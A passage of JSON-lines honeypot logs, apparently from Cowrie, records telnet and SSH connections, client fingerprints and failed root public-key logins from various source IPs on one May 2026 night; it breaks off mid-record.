{"eventid":"cowrie.session.closed","duration":120.0059175491333,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:00:03.571944Z","src_ip":"180.235.129.180","session":"a7d0772a70a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.180.12.23","src_port":45828,"dst_ip":"159.203.135.109","dst_port":23,"session":"8323ed99a7d6","protocol":"telnet","message":"New connection: 194.180.12.23:45828 (159.203.135.109:23) [session: 8323ed99a7d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:00:04.793600Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":42867,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e446a13fc63","protocol":"telnet","message":"New connection: 49.88.156.34:42867 (10.17.0.5:23) [session: 4e446a13fc63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:00:31.685106Z"}
{"eventid":"cowrie.session.closed","duration":40.9311945438385,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:00:45.724646Z","src_ip":"194.180.12.23","session":"8323ed99a7d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":36770,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a7ae82e1179","protocol":"ssh","message":"New connection: 80.94.92.168:36770 (159.203.135.109:22) [session: 0a7ae82e1179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:01:08.719406Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:01:08.841684Z","src_ip":"80.94.92.168","session":"0a7ae82e1179","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.208.206.182","src_port":46700,"dst_ip":"10.17.0.5","dst_port":22,"session":"369104fcbd98","protocol":"ssh","message":"New connection: 91.208.206.182:46700 (10.17.0.5:22) [session: 369104fcbd98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:01:23.965940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:01:23.970335Z","src_ip":"91.208.206.182","session":"369104fcbd98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:01:24.100685Z","src_ip":"91.208.206.182","session":"369104fcbd98","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:74:0b:a7:7c:af:19:c1:9a:3c:f9:02:f0:40:6b:cf","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAL9jgeOvgAYgC8xE7QHhcFrREsX7knKe0/767DoTFfuTuzKbN13cxfkjKGeVSaUbHkcbn4oXkk0ftcOU7nTUlEovw0aLlr1wwQDI218PUyvRNbd3aNyp7ncQ8bdXAmn6ahuUjAr2KHiIc5tmdufWlVUmFOT73lsXjejK4x1jisMVAAAAFQCIaCn8qxljPM2ZMehmMCQLY8HTlwAAAIEAo1Y88fLTphu0OkpV3pyb+A0/hGAw/GSVoqdoH3sV5u5nrnKj0Hmp4BMChovd2EfVcPYaWkQUiayytqK3QhU3L6fSkdKJCjGoz+Fy4uQ1Ne0sQGt8Ns7TlImgg51WoF8UQyIaLVNOe2tsXj9sxyHFgX05ogIY6iFapBAPsKONmxwAAACAZMzXM0jiFYUBF55xKdx3hFN7rJw29m31nd9m0t6bzlvBHIz3CwRVBVoT42BLQJFTycOVZQaAplBegg26mRMcKeO2TVAdm5/pVQQxtI/lWJnAwIXTVhuhiPH1URutV/AP1KG8yCLT2n+1qWTvJhinmREBUrIxo0Al8ttNNIChwSo=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 4a:74:0b:a7:7c:af:19:c1:9a:3c:f9:02:f0:40:6b:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:01:24.725546Z","src_ip":"91.208.206.182","session":"369104fcbd98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:74:0b:a7:7c:af:19:c1:9a:3c:f9:02:f0:40:6b:cf","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAL9jgeOvgAYgC8xE7QHhcFrREsX7knKe0/767DoTFfuTuzKbN13cxfkjKGeVSaUbHkcbn4oXkk0ftcOU7nTUlEovw0aLlr1wwQDI218PUyvRNbd3aNyp7ncQ8bdXAmn6ahuUjAr2KHiIc5tmdufWlVUmFOT73lsXjejK4x1jisMVAAAAFQCIaCn8qxljPM2ZMehmMCQLY8HTlwAAAIEAo1Y88fLTphu0OkpV3pyb+A0/hGAw/GSVoqdoH3sV5u5nrnKj0Hmp4BMChovd2EfVcPYaWkQUiayytqK3QhU3L6fSkdKJCjGoz+Fy4uQ1Ne0sQGt8Ns7TlImgg51WoF8UQyIaLVNOe2tsXj9sxyHFgX05ogIY6iFapBAPsKONmxwAAACAZMzXM0jiFYUBF55xKdx3hFN7rJw29m31nd9m0t6bzlvBHIz3CwRVBVoT42BLQJFTycOVZQaAplBegg26mRMcKeO2TVAdm5/pVQQxtI/lWJnAwIXTVhuhiPH1URutV/AP1KG8yCLT2n+1qWTvJhinmREBUrIxo0Al8ttNNIChwSo=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:01:24.730038Z","src_ip":"91.208.206.182","session":"369104fcbd98","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"75:c2:69:ed:1a:cd:e5:5a:5e:0d:55:1e:f8:2b:29:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWsRV8eYJdnI88pVQ/Vs6yMbybOZRSPF6DqcG3K5U+JiBOjHkP9DY6afWXr6iB0r+9ellMbitECGmzz1lfFDCoHMb20i7CfPjnq4x5AnnPUjDKR8NVN+Bp38FLALWltqTvOUDexZX7CweOYHAI0zoSLEj8WqQb5MFTfafQkdWjhd38gWptq6H+h416jyFQYOKR9Ik73UlxHLCLLhABLXZiuOy2EynW27ipQdFEGDElFi1EWyTY/06kIltm5tZLXBgzSvn4GKwTZbofqdETscYECjxC8wcbPGC1owSeNhQd7N1bd3uI7xpg/bj4Mt3WzVVYECKW3hAJYaqPOeKd3Q/vaNn+unmjnKRONcR/MTAS/cvtB6PAgjT0C8LDx5+JOtOpZOzG7FbCYB9pk9LMBc+rJRfkCqJzoTqqo5xdQS8OEHU+TThmVWu59lnz9NFP0rBOhFLWo6Y7xZVNP7tbdcPQNotjv2lMDaQ+SgD0+mBzTcjkcbDM655nD5b4Uknx7WhMR/4rXRqBgu3rbSecWiI8zTBWvsIQ90FmjYoIYB8Y5KJX/nCRuM6YGHfB39CtQUSUX2H+sWcQwgz0++F0pGLrfkjklIWeFgEEKCRajXRXVDBDm7ShTCfk1dOWSazJQM3NVtGwW3e1rcx1u7ttrEuNDkOPSHoBvjgRsLrgHNyAaQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 75:c2:69:ed:1a:cd:e5:5a:5e:0d:55:1e:f8:2b:29:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:01:24.860392Z","src_ip":"91.208.206.182","session":"369104fcbd98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"75:c2:69:ed:1a:cd:e5:5a:5e:0d:55:1e:f8:2b:29:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWsRV8eYJdnI88pVQ/Vs6yMbybOZRSPF6DqcG3K5U+JiBOjHkP9DY6afWXr6iB0r+9ellMbitECGmzz1lfFDCoHMb20i7CfPjnq4x5AnnPUjDKR8NVN+Bp38FLALWltqTvOUDexZX7CweOYHAI0zoSLEj8WqQb5MFTfafQkdWjhd38gWptq6H+h416jyFQYOKR9Ik73UlxHLCLLhABLXZiuOy2EynW27ipQdFEGDElFi1EWyTY/06kIltm5tZLXBgzSvn4GKwTZbofqdETscYECjxC8wcbPGC1owSeNhQd7N1bd3uI7xpg/bj4Mt3WzVVYECKW3hAJYaqPOeKd3Q/vaNn+unmjnKRONcR/MTAS/cvtB6PAgjT0C8LDx5+JOtOpZOzG7FbCYB9pk9LMBc+rJRfkCqJzoTqqo5xdQS8OEHU+TThmVWu59lnz9NFP0rBOhFLWo6Y7xZVNP7tbdcPQNotjv2lMDaQ+SgD0+mBzTcjkcbDM655nD5b4Uknx7WhMR/4rXRqBgu3rbSecWiI8zTBWvsIQ90FmjYoIYB8Y5KJX/nCRuM6YGHfB39CtQUSUX2H+sWcQwgz0++F0pGLrfkjklIWeFgEEKCRajXRXVDBDm7ShTCfk1dOWSazJQM3NVtGwW3e1rcx1u7ttrEuNDkOPSHoBvjgRsLrgHNyAaQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:01:24.864365Z","src_ip":"91.208.206.182","session":"369104fcbd98","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:56:39:c8:0e:6c:19:be:1b:ce:f5:fa:90:ea:34:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCi301x5Z9zYMpWhIlJXE4NG7W0DlfiQbrl6huGzp5Dunw2HYTIK3zwBK74mzQ9eZEXCIPYeuKf6EX1ppfeuSyw4/24lALt6kM/4/UI98JGs8e/NjeGM9HyRDPo8VTAZX5g5iwCSLbmEHEmEO4SNJBepa46SYv/FAZkkIbL6OYWFzFFmq5GHbTenijML0sHvQXK/PlYIfXORjHGMYdvdPtro35rEeNXUZLZ39gGatrF9fiKyAUGgJuIUS2hosyxFDR0BBxIIh8yb1FU8dQ0xN3BZA0/2NQB2lRyZHPDMHZprKpSeRhwohUXfx1NWMnHnd/heJsoDnZvZEMCmOvXahkdLKKAGCf4AFsVBcbPCtATDLvKPlaQzvDHAnyvWFdN09R31rnAP34SYZtCDj+FxXMJm+H7IxLMaXpuZMeUWvlvp130gYQlapWuET67Fd3uCRwBHcEPDCwGeZM5wiciH51X1dt+clbhoDARNdA/49yznhdp/wDMoo/oL0+CGJevCAXaUShFgWdSXQB4bX6ukFOW1nTosK7YW6r7058vR6CY1O8nMd0SAXDhiEjk+eD4cuUOBaQk2HimJe97+pQr5rnQMuuhC6f+dYP7RW8h8Krq70qBOxg+qOCiW921TviW+STRf7SiA15bU3kocCWCiqufvqPer9RJjMh23SR0vSxnBQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:56:39:c8:0e:6c:19:be:1b:ce:f5:fa:90:ea:34:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:01:24.997819Z","src_ip":"91.208.206.182","session":"369104fcbd98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:56:39:c8:0e:6c:19:be:1b:ce:f5:fa:90:ea:34:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCi301x5Z9zYMpWhIlJXE4NG7W0DlfiQbrl6huGzp5Dunw2HYTIK3zwBK74mzQ9eZEXCIPYeuKf6EX1ppfeuSyw4/24lALt6kM/4/UI98JGs8e/NjeGM9HyRDPo8VTAZX5g5iwCSLbmEHEmEO4SNJBepa46SYv/FAZkkIbL6OYWFzFFmq5GHbTenijML0sHvQXK/PlYIfXORjHGMYdvdPtro35rEeNXUZLZ39gGatrF9fiKyAUGgJuIUS2hosyxFDR0BBxIIh8yb1FU8dQ0xN3BZA0/2NQB2lRyZHPDMHZprKpSeRhwohUXfx1NWMnHnd/heJsoDnZvZEMCmOvXahkdLKKAGCf4AFsVBcbPCtATDLvKPlaQzvDHAnyvWFdN09R31rnAP34SYZtCDj+FxXMJm+H7IxLMaXpuZMeUWvlvp130gYQlapWuET67Fd3uCRwBHcEPDCwGeZM5wiciH51X1dt+clbhoDARNdA/49yznhdp/wDMoo/oL0+CGJevCAXaUShFgWdSXQB4bX6ukFOW1nTosK7YW6r7058vR6CY1O8nMd0SAXDhiEjk+eD4cuUOBaQk2HimJe97+pQr5rnQMuuhC6f+dYP7RW8h8Krq70qBOxg+qOCiW921TviW+STRf7SiA15bU3kocCWCiqufvqPer9RJjMh23SR0vSxnBQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:01:25.001464Z","src_ip":"91.208.206.182","session":"369104fcbd98","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:48:69:fa:cd:a1:9b:a0:b7:12:c7:06:58:5b:72:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkDz6D0sgjNtn/VTROhdQvYnj5TGEHXY6BiDemH75/XkU0Lpk2YSX7oM+MouMWJd2kJETNaNx+IMvAYq1Bt4MQdqsCcQjCh8jq42DUxomgP5BUzQ5ek5BsKBRwaahlavXRVLStUWGj0LM5V9e4NKzeQOLAWIYBIc94+97Z7FtyhdGmJPfe149Tm+Csho1zpcSkX6rPkA4xwypRD9J5WoesbcPV8eKHItvlC778kILcvcrqDiAzemW8SlnrKTEE2dsHkMO8jzChqHZSjUyfbkD6eaLHI1Azy2Bkio3nnyZnaCi1WcJBgSZSYaJKFV71kN6GzuK8/7HtAvrAXZnfsyMgpLSVMawH39aT5jlEBbr5G25NgjBqJYEfuvaTr2L28KeQo42AV5+oe1TJTMtMifJx2bha3Vmcg1VXNKfqfAup8G26kriw/CRbHkKAFipwdom6M6h9fvGuG6PjJwvJM1O8Sq581hbNCp2I/AV7B/12wQXmjRdkJFMYWFYF8y61RbXC0bVQQvLi0glutwN8EL0P7VYMImsv1Kmb1faX1KLOjUonxPMQIy6xNdc5lBchZ6uR99v8r5Ep9Ec2EsBgreTKjyjixpxtIUQ8WuDjJ1Whp1+fjHVyHk8j480mcfP468RExKArFs0ad4nAI+BOK6ZeA/gnlC9eF9S2uIYfYnzqIQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:48:69:fa:cd:a1:9b:a0:b7:12:c7:06:58:5b:72:ea","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:01:25.149637Z","src_ip":"91.208.206.182","session":"369104fcbd98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:48:69:fa:cd:a1:9b:a0:b7:12:c7:06:58:5b:72:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkDz6D0sgjNtn/VTROhdQvYnj5TGEHXY6BiDemH75/XkU0Lpk2YSX7oM+MouMWJd2kJETNaNx+IMvAYq1Bt4MQdqsCcQjCh8jq42DUxomgP5BUzQ5ek5BsKBRwaahlavXRVLStUWGj0LM5V9e4NKzeQOLAWIYBIc94+97Z7FtyhdGmJPfe149Tm+Csho1zpcSkX6rPkA4xwypRD9J5WoesbcPV8eKHItvlC778kILcvcrqDiAzemW8SlnrKTEE2dsHkMO8jzChqHZSjUyfbkD6eaLHI1Azy2Bkio3nnyZnaCi1WcJBgSZSYaJKFV71kN6GzuK8/7HtAvrAXZnfsyMgpLSVMawH39aT5jlEBbr5G25NgjBqJYEfuvaTr2L28KeQo42AV5+oe1TJTMtMifJx2bha3Vmcg1VXNKfqfAup8G26kriw/CRbHkKAFipwdom6M6h9fvGuG6PjJwvJM1O8Sq581hbNCp2I/AV7B/12wQXmjRdkJFMYWFYF8y61RbXC0bVQQvLi0glutwN8EL0P7VYMImsv1Kmb1faX1KLOjUonxPMQIy6xNdc5lBchZ6uR99v8r5Ep9Ec2EsBgreTKjyjixpxtIUQ8WuDjJ1Whp1+fjHVyHk8j480mcfP468RExKArFs0ad4nAI+BOK6ZeA/gnlC9eF9S2uIYfYnzqIQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:01:25.153892Z","src_ip":"91.208.206.182","session":"369104fcbd98","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:87:ed:cf:d4:f4:91:83:4e:cf:5d:c3:7d:6a:f4:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDda9woy0EEQsvNaXObRV3hENl9gDAVVr4S1oT1TtKwiZMXOFkWersOAK7/4ZSaEnWtDaOZ2PYTiCsCnHvevFcQqeWQUMcSdPutvoC1QwPPepGEcfB6mR0b6eLCbOHgVMVM3yxy6xoMQBg630ljLZOaQ5ZFeZd0AZMrCkSset1gO+ClsNrZ+ePfb4B28YYh/qTpaQuUuqaYUhQrmnmDWgOghl1/OtssUzSvsquQ+SGMb/G7Lo4bPcfQrGkU5E3r9ChDRTcVo98AGmvFxEhl/fUfcrKRf5PWQxyZwBMtCuvdEAvRfA7G3C/rBpKHMjaKyiVr2sdI5XFyZFb+JvLwERXTvuR5Q/wHQVeEMHFdwgxdnXdpgBgkbvjGGjJ7xZzjDH1Zs1wAPZVvVLRb8vkqqjS0kfMCsdk7aXFa59XSqgXkruM+43nKnR4aeVniXaFPy7OEokBpqEPDVqJrjTcjyRPPsInvzGDSSRTuR7+aiWs9bQCJBTE0/NVJ8u5FH1pCRhNOQjiPFz2qGTA5x7hTBMyvCuZmpOldUsB1V9VTEofMW0xI0ogy7hpYKGyJyvdh+edRlfb4oCHBlE1ZqolAOxaAEFjAAtG8aAQELxKmB5Hh1/3q7lNrL1DJNV63PhoI0IDFnuHtH2AycYzP2m+Lq84sY2aZ/iT4A28HQrGj+JODCw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:87:ed:cf:d4:f4:91:83:4e:cf:5d:c3:7d:6a:f4:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:01:25.285766Z","src_ip":"91.208.206.182","session":"369104fcbd98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:87:ed:cf:d4:f4:91:83:4e:cf:5d:c3:7d:6a:f4:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDda9woy0EEQsvNaXObRV3hENl9gDAVVr4S1oT1TtKwiZMXOFkWersOAK7/4ZSaEnWtDaOZ2PYTiCsCnHvevFcQqeWQUMcSdPutvoC1QwPPepGEcfB6mR0b6eLCbOHgVMVM3yxy6xoMQBg630ljLZOaQ5ZFeZd0AZMrCkSset1gO+ClsNrZ+ePfb4B28YYh/qTpaQuUuqaYUhQrmnmDWgOghl1/OtssUzSvsquQ+SGMb/G7Lo4bPcfQrGkU5E3r9ChDRTcVo98AGmvFxEhl/fUfcrKRf5PWQxyZwBMtCuvdEAvRfA7G3C/rBpKHMjaKyiVr2sdI5XFyZFb+JvLwERXTvuR5Q/wHQVeEMHFdwgxdnXdpgBgkbvjGGjJ7xZzjDH1Zs1wAPZVvVLRb8vkqqjS0kfMCsdk7aXFa59XSqgXkruM+43nKnR4aeVniXaFPy7OEokBpqEPDVqJrjTcjyRPPsInvzGDSSRTuR7+aiWs9bQCJBTE0/NVJ8u5FH1pCRhNOQjiPFz2qGTA5x7hTBMyvCuZmpOldUsB1V9VTEofMW0xI0ogy7hpYKGyJyvdh+edRlfb4oCHBlE1ZqolAOxaAEFjAAtG8aAQELxKmB5Hh1/3q7lNrL1DJNV63PhoI0IDFnuHtH2AycYzP2m+Lq84sY2aZ/iT4A28HQrGj+JODCw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:01:25.289547Z","src_ip":"91.208.206.182","session":"369104fcbd98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:01:25.445471Z","src_ip":"91.208.206.182","session":"369104fcbd98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":50464,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fc88edbcc4e","protocol":"telnet","message":"New connection: 180.235.129.180:50464 (10.17.0.5:23) [session: 0fc88edbcc4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:01:41.847406Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":51326,"dst_ip":"10.17.0.5","dst_port":23,"session":"eba2f15de2b5","protocol":"telnet","message":"New connection: 180.235.129.180:51326 (10.17.0.5:23) [session: eba2f15de2b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:01:51.668350Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.211.106.184","src_port":15487,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9c71e113bc3","protocol":"telnet","message":"New connection: 181.211.106.184:15487 (10.17.0.5:23) [session: a9c71e113bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:01:54.714631Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":50886,"dst_ip":"10.17.0.5","dst_port":23,"session":"94f5e8ad32e9","protocol":"telnet","message":"New connection: 180.235.129.180:50886 (10.17.0.5:23) [session: 94f5e8ad32e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:01:57.149945Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.50","src_port":51956,"dst_ip":"10.17.0.5","dst_port":22,"session":"19d82f60fc6f","protocol":"ssh","message":"New connection: 176.65.132.50:51956 (10.17.0.5:22) [session: 19d82f60fc6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:01:57.862199Z"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:01:58.528983Z","src_ip":"176.65.132.50","session":"19d82f60fc6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.8887996673583984,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:01:59.038631Z","src_ip":"180.235.129.180","session":"94f5e8ad32e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.950700044631958,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:00.618855Z","src_ip":"180.235.129.180","session":"eba2f15de2b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.50","src_port":63238,"dst_ip":"10.17.0.5","dst_port":22,"session":"15af3a7e07ee","protocol":"ssh","message":"New connection: 176.65.132.50:63238 (10.17.0.5:22) [session: 15af3a7e07ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:02.177794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:02.186333Z","src_ip":"176.65.132.50","session":"15af3a7e07ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 